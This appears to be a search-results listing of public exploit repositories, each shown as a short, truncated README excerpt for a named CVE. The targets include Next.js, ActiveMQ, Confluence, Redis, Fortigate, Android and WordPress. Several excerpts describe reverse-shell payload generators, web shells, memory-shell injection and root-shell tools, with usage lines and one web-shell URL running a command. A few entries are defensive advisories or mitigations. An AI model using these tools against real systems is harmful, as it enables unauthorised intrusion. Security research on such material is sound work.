41037 matches found
Next.js-Exploit-Tool
Next.js-Exploit-Tool Next.js-Exploit-Tool å¾å½¢åē»¼åå©ēØå·„å ·ć ē®ä» äøę¬¾éåƹ CVE-2025-55182 ēē¬ē«å®å ØčÆä¼°å·„å ·ļ¼åŗäŗ Go å¼åļ¼ęä¾å¾å½¢åēé¢ļ¼GUIļ¼ļ¼ēØäŗåæ«éå®ęę¼ę“ę£ęµäøéŖčÆć ę“ę°ę„åæ v1.3.0 ę°å¢ Godzilla å„ęÆę å å马ęÆę å®ē°äŗåŗäŗ Node.js ē Godzilla å å马ę³Øå „åč½ļ¼ę¬ Payload éé ååč¾°åøå ē锹ē®GodzillaNodeJsPayload ä½æēØć č“č°¢ Credits ļ¼ē¹å«ęč°¢ åč¾°åøå å¼ęŗē GodzillaNodeJsPayload 锹ē®ć ę°å¢ē½ē»ä»£ēęÆę...
CVE-2020-0041-Pixel-3a
CVE-2020-0041: privilege escalation exploit This folder contains a local privilege escalation exploit, a modification of the bluefrostsecurity PoC for CVE-2020-0041. The exploit was provided with hardcoded offsets for a Pixel 3 device running the February 2020 firmware QQ1A.200205.002. The exploi...
CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE
RaspAP Hunter RaspAP Hunter is a Bash script designed to scan for RaspAP installations and test them for a specific vulnerability CVE-2022-39986. / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / // // / / // \ / // \ / / /...
cve-2020-11060-poc
CVE-2020-11060 This script is a Python 3.x based exploit for CVE-2020-11060 in GLPI versions 0.85-9.4.5. Original implementation: 0xdreadnaught Python3 refactoring: n3rada The original PoC in ExploitDB is now deprecated since it used Python 2.x. The new version has been submitted, and a link will...
bitlocker-hardening
š yellowkey-mitigation BitLocker TPM+PIN Hardening Against CVE-2026-45585 YellowKey Automated mitigation for the WinRE BitLocker bypass ā no full patch available yet š The Vulnerability YellowKey is a publicly disclosed BitLocker bypass that gives an attacker with physical access an unrestricted...
CVE-2023-45878
CVE-2023-45878 Wrote this script based on the work of https://herolab.usd.de/security-advisories/usd-2023-0025/ . The exploit works by using an Arbitrary File Write exploit in Gibbon LMS 25.0.1 . This PoC will use upload a simple php cmd script, and then use that to load a powershell revshell...
cve-2025-49844
CVE-2025-49844 My personal proof-of-concept for CVE-2025-49844, also known as RediShell. Supported target builds: x86-64 Linux redis:8.2.1-alpine Docker image x86-64 Linux redis:8.2.1-bookworm Docker image It's a bit clumsy, probably not as good as Wiz Research's. Still, I'm glad I managed to get...
ActiveMQ-EXPtools
ActiveMQ-EXPtools Supports detecting and exploiting Apache ActiveMQ vulnerabilities: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING This tool is intended for security research and learning purposes only. Users...
CVE-2022-26134-Godzilla-MEMSHELL
CVE-2022-26134-Godzilla-MEMSHELL Usage java -jar CVE-2022-26134.jar Godzilla Password Godzilla Key example java -jar CVE-2022-26134.jar pass key If the memory shell has been injected successfully but Godzilla cannot connect, please add the following protocol header in the request configuration or...
CVE-2022-23935
CVE-2022-23935 š Python Exploit for CVE-2022-23935 Staged Reverse Shell Payload Generator for CVE-2022-23935 Example cve-2022-23935 10.10.16.3 44444 Usage usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number for Callback...
CVE-2018-8414-POC
CVE-2018-8414 POC Windows Shell Package Setting Remote Code Execution Vulnerability Since : Windows 10 Version 1703 to 1803 / Windows Server Version 1709 to 1803 Note : Some time the exploit fail depending of the file location default policy settings, so for that just copy the file in the Package...
CVE-2026-108953
mac-shell-mcp before 2.0.0 contains an OS command injection vulnerability that allows MCP clients to bypass the command whitelist by injecting shell metacharacters into executecommand arguments. Attackers or malicious prompts can call a safe command such as pwd with arguments like ';' to run...
Malware in @library-wide/library-shell
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outsid...
CVE-2024-0039-Exploit
CVE-2024-0039-Exploit Description Python script for exploiting CVE-2024-0039: arbitrary code execution on vulnerable Android devices. WARNING : This code is intended for educational and constructive purposes only, on the side of good, so to speak! Usage Run the script with the necessary arguments...
MetabaseRceTools
MetabaseRceTools CVE-2023-38646 Metabase RCE Tool CVE-2023-38646 RCE Graphical Exploitation Tool Verification Module Input the specified URL to detect unauthorized token Command Execution This module requires executing the verification module to obtain a token first JarLocation: the location of...
CVE-2025-28915
CVE-2025-28915 Vulnerability Description: WordPress is a blog platform developed using PHP, supporting the setup of personal blog websites on servers running PHP and MySQL. WordPress ThemeEgg ToolKit versions 1.2.9 and earlier have a code issue vulnerability, which stems from allowing the upload ...
CVE-2021-30461
Impacted Products VoIPmonitor 24.60 How to RCE python3 CVE-2021-30461.py -t ipaddress Browser shell: http://x.x.x.x/namrlblgel.php?a=whoami Reference https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...
CVE-2023-20273
CVE-2023-20273 CVE-2023-20273 Exploit PoC Usage usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h, --help show this...
vsftpd-234-vuln-report
š„ vsftpd 2.3.4 Backdoor Exploit Report Exploitation of a known vulnerability in vsftpd 2.3.4 using Metasploit. š Target Details Target IP: 192.168.150.133 Service: FTP Vulnerable Version: vsftpd 2.3.4 Exploit Module: exploit/unix/ftp/vsftpd234backdoor Payload: Command shell TCP š Vulnerability...
CVE-2021-44168
Exploit for CVE-2021-44168 Purpose Exploit CVE-2021-44168 to drop a shell on a Fortigate firewall and enable its access via LDPRELOAD tricks that execute when running some of Fortigate's CLI commands. You get a root shell. Use Compile: gcc -o gensrc-vispkgfile gensrc-vispkgfile.c -lz Run: %...